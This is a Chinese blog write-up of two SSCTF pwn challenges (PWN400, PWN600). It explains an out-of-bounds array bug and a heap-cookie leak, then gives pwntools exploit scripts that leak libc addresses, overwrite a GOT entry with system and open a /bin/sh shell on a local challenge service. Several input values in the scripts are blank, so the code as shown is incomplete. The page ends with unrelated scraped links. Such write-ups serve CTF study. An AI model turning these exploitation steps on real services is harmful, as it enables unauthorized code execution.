SSCTF-PWN
前几天比赛的PWN题,简单写了下。
PWN400
漏洞是一个数组越界访问造成的任意地址读写。在对数据排序后,对数据进行查询和更新时,可以访问到数组以外一个元素(4个字节)。
程序中存在3种数据结构,第一种是用于存储排序数据的基本块。可以定义为:
typedef struct chunk1{
int size;
int array[size];
}chunk1, *pchunk1;
第二种是用于索引这些排序数据块的基本块。可以定义为:
typedef struct chunk2{
pchunk1 data;
struct chunk2 *next;
}chunk2, *pchunk2;
第三种是用来索引前两种的基本块,在利用过程中并没有涉及到该数据结构。
通过构造内存,可以造成堆地址泄漏(这个简单,对数据进行排序后,通过越界访问就可以泄漏堆地址信息),此外,精心构造可以造成两个第一种基本块相邻接,这样就可以通过地址越界将相邻的第一种基本块的大小改为很大,造成任意地址的读和写。当然了,在该题中必须有整数溢出的一个漏洞才能达到最后的目的。
from pwn import *
import time
#context.log_level = 'debug'
#by wangaohui
s = remote('127.0.0.1', 10001) time.sleep(1)
print 'pid of pwn1 is :' + str(pwnlib.util.proc.pidof('pwn1')[0])
raw_input('go!') def sort(data):
s.sendline('sort')
s.recvuntil('How many numbers do you want to sort: ')
s.sendline(str(len(data)))
for i in data:
s.recvuntil('Enter a number: ')
s.sendline(str(i))
s.recvuntil('_CMD_$ ')
sort([1])
s.recvuntil('Choose: ')
s.sendline('')
s.recvuntil('Choose: ')
s.sendline('')
s.recvuntil('Query index: ')
s.sendline('')
s.recvuntil('Query result: ')
bigtrunk = int(s.recvuntil('\n')[:-1])
print 'leaked bigtrunk addr is %x' % bigtrunk
s.recvuntil('Choose: ')
s.sendline('') s.recvuntil('_CMD_$ ')
sort([1,2,3,4,5,6,7])
s.recvuntil('Choose: ')
s.sendline('')
s.recvuntil('Choose: ')
s.sendline('') s.sendline('clear') s.recvuntil('_CMD_$ ')
sort([1,2,3,4,5,6,7])
s.recvuntil('Choose: ')
s.sendline('')
s.recvuntil('Choose: ')
s.sendline('') s.recvuntil('_CMD_$ ')
sort([1])
s.recvuntil('Choose: ')
s.sendline('')
s.recvuntil('Update index: ')
s.sendline('')
s.recvuntil('Update number: ')
s.sendline('') #0x40000001
s.recvuntil('Update succeed!')
s.sendline('') s.recvuntil('_CMD_$ ')
s.sendline('reload')
s.recvuntil('Reload history ID: ')
s.sendline('')
s.recvuntil('Choose: ')
s.sendline('') atoigot = int('0804D020',16) + 0x100000000
index = (atoigot - (bigtrunk + 0xc))/4 s.recvuntil('Query index: ')
s.sendline(str(index))
s.recvuntil('Query result: ')
atoi = int(s.recvuntil('\n')[:-1])&0xffffffff
print 'leaked aoti addr: %x' % atoi
system = atoi - 0x2F7F0 + 0x3E360 #debug s.recvuntil('Choose: ')
s.sendline('')
s.recvuntil('Update index: ')
s.sendline(str(index))
s.recvuntil('Update number: ')
systemstr = '-' + str((system^0xffffffff)+1)
s.sendline(systemstr) s.recvuntil('Choose: ')
s.sendline('/bin/sh;')
s.interactive()
PWN600
在PWN的基础上对第一种基本块加了Cookie,并在查询和更新时利用Cookie判断该基本块是否被Corrupted。增加了Cookie后,利用难度增加,Cookie是存放在.data数据段中,通过第一种数据块覆盖第二种数据块,可以造成Cookie的泄漏。
泄漏了Cookie后,就可以构造内存,伪造第一种基本数据块,接下来的思路就和PWN400相类似,任意地址读写。我这个EXP有个成功概率的问题,不会每次都成功。
from pwn import *
import time
#context.log_level = 'debug' s = remote('127.0.0.1', 10001)
time.sleep(1)
print 'pid of pwn2 is :' + str(pwnlib.util.proc.pidof('pwn2')[0])
raw_input('go!') def sort(data):
s.sendline('sort')
s.recvuntil('How many numbers do you want to sort: ')
s.sendline(str(len(data)))
for i in data:
s.recvuntil('Enter a number: ')
s.sendline(str(i)) s.recvuntil('_CMD_$ ')
sort([1,2])
s.recvuntil('Choose: ')
s.sendline('')
s.recvuntil('Choose: ')
s.sendline('')
s.recvuntil('Query index: ')
s.sendline('')
s.recvuntil('Query result: ')
bigtrunk = int(s.recvuntil('\n')[:-1])
print 'leaked bigtrunk addr is %x' % bigtrunk s.recvuntil('Choose: ')
s.sendline('')
s.recvuntil('Update index: ')
s.sendline('')
s.recvuntil('Update number: ')
s.sendline(str(int('0804C04C',16)))
s.recvuntil('Choose: ')
s.sendline('') s.recvuntil('_CMD_$ ')
s.sendline('history')
s.recvuntil(', Len = ')
random = int(s.recvuntil(',')[:-1])
print 'leaked cookie is %x' % random s.recvuntil('_CMD_$ ')
t1 = int('',16)
t2 = t1^random
if(t2>t1):
print 'Will be Exploited!'
sort([t1,t2,t2+1,t2+2,t2+3,t2+4,t2+5,t2+6])
s.recvuntil('Choose: ')
s.sendline('')
pos = bigtrunk + 0x20
s.recvuntil('Choose: ')
s.sendline('')
s.recvuntil('Update index: ')
s.sendline('')
s.recvuntil('Update number: ')
s.sendline(str(pos))
s.recvuntil('Choose: ')
s.sendline('') s.recvuntil('_CMD_$ ')
s.sendline('reload') base = bigtrunk + 0x50
atol_got = 0x10804C01C
index = (atol_got - base)/4
print 'index is %d' % index
s.recvuntil('Reload history ID: ')
s.sendline('')
s.recvuntil('Choose: ')
s.sendline('')
s.recvuntil('Query index: ')
s.sendline(str(index))
s.recvuntil('Query result: ')
atol = int(s.recvuntil('\n')[:-1])&0xffffffff
system = atol - 0x000327B0 + 0x0003E360
print 'leaked system addr is %x' % system
systemstr = '-' + str((system^0xffffffff)+1) s.recvuntil('Choose: ')
s.sendline('')
s.recvuntil('Update index: ')
s.sendline(str(index))
s.recvuntil('Update number: ')
s.sendline(systemstr)
s.recvuntil('Update succeed!')
s.recvuntil('Choose: ') s.sendline('/bin/sh;')
s.interactive()
SSCTF-PWN的更多相关文章
- SSCTF Final PWN
比赛过去了两个月了,抽出时间,将当时的PWN给总结一下. 和线上塞的题的背景一样,只不过洞不一样了.Checksec一样,发现各种防护措施都开了. 程序模拟了简单的堆的管理,以及cookie的保护机制 ...
- Pwn~
Pwn Collections Date from 2016-07-11 Difficult rank: $ -> $$... easy -> hard CISCN 2016 pwn-1 ...
- iscc2016 pwn部分writeup
一.pwn1 简单的32位栈溢出,定位溢出点后即可写exp gdb-peda$ r Starting program: /usr/iscc/pwn1 C'mon pwn me : AAA%AAsAAB ...
- i春秋30强挑战赛pwn解题过程
80pts: 栈溢出,gdb调试发现发送29控制eip,nx:disabled,所以布置好shellcode后getshell from pwn import * #p=process('./tc1' ...
- pwn学习(1)
0x00 简介 入职之后,公司发布任务主搞pwn和re方向,re之前还有一定的了解,pwn我可真是个弟弟,百度了一番找到了蒸米大佬的帖子,现在开始学习. 0x01 保护方式 NX (DEP):堆栈不可 ...
- pwn学习之四
本来以为应该能出一两道ctf的pwn了,结果又被sctf打击了一波. bufoverflow_a 做这题时libc和堆地址都泄露完成了,卡在了unsorted bin attack上,由于delete ...
- pwn学习之三
whctf2017的一道pwn题sandbox,这道题提供了两个可执行文件加一个libc,两个可执行文件是一个vuln,一个sandbox,这是一道通过沙盒去保护vuln不被攻击的题目. 用ida打开 ...
- pwn学习之二
刚刚开始学习pwn,记录一下自己学习的过程. 今天get了第二道pwn题目的解答,做的题目是2017年TSCTF的easy fsb,通过这道题了解了一种漏洞和使用该漏洞获取shell的方法:即格式化字 ...
- pwn学习之一
刚刚开始学习pwn,记录一下自己学习的过程. 今天完成了第一道pwn题目的解答,做的题目是2017年TSCTF的bad egg,通过这道题学习到了一种getshell的方法:通过在大小不够存储shel ...
- kernel pwn 入门环境搭建
刚开始上手kernel pwn,光环境就搭了好几天,应该是我太菜了.. 好下面进入正题,环境总共就由两部分构成,qemu和gdb.这两个最好都需要使用源码安装. 我使用的安装环境为 qemu:安装前要 ...
随机推荐
- 认识Log4j
Log4j是一个非常强大的log记录软件,下面我们就来看看在项目中如何使log4j. 首先当然是得到log4j的jar档,推荐使用1.2.X版,下载地址: http://logging.apache. ...
- IT人士的职业规范——凝视
这两天将系统敲完了,该总体调试了,调试的过程中,发现了一个非常大的问题,就是自己的凝视写的不够,有时候不明确U层这个事件是做什么的,有时候不知道这个事件传递的是什么參数,有时候不知道相应的B层和 ...
- 出现security ioError 安全沙箱问题
client安全沙箱 通配策略 crossdomain <?xml version="1.0" encoding="UTF-8"?> <!DO ...
- Oracle 取上周一到周末日期的查询语句
-- Oracle 取上周一到周末的sql -- 这样取的是 在一周内第几天,是以周日为开始的 select to_char(to_date('20130906','yyyymmdd'),'d') f ...
- git使用图解
使用前 安装git 配置name 和 email git config --global user.name "Your Name" git config --global use ...
- H5单页面架构:backbone + requirejs + zepto + underscore
首先,来看看整个项目结构. 跟上一篇angular类似,libs里多了underscore和zepto.三个根目录文件: index.html:唯一的html main.js:requirejs的配置 ...
- web推送
WEB消息推送框架 web-msg-sender是一款web长连接推送框架,采用PHPSocket.IO开发,基于WebSocket长连接通讯,如果浏览器不支持WebSocket则自动转用comet推 ...
- Java——单例设计模式
设计模式:解决某一类问题最行之有效的方法.Java中23种设计模式:单例设计模式:解决一个类在内存中只存在一个对象. 想要保证对象唯一.1,为了避免其他程序过多建立该类对象.先禁止其他程序建立该类对象 ...
- tablbView中section的间距
- (CGFloat)tableView:(UITableView *)tableView heightForFooterInSection:(NSInteger)section { if (sect ...
- C++标准程序读书笔记-第三章错误和异常处理
1.命名空间(namespace)std C++标准程序库中的所有标示符都被定义于一个名为std的namespace 2.标准异常类别 (1)语言本身或标准程序库所抛出的所有异常,都派生自基类exce ...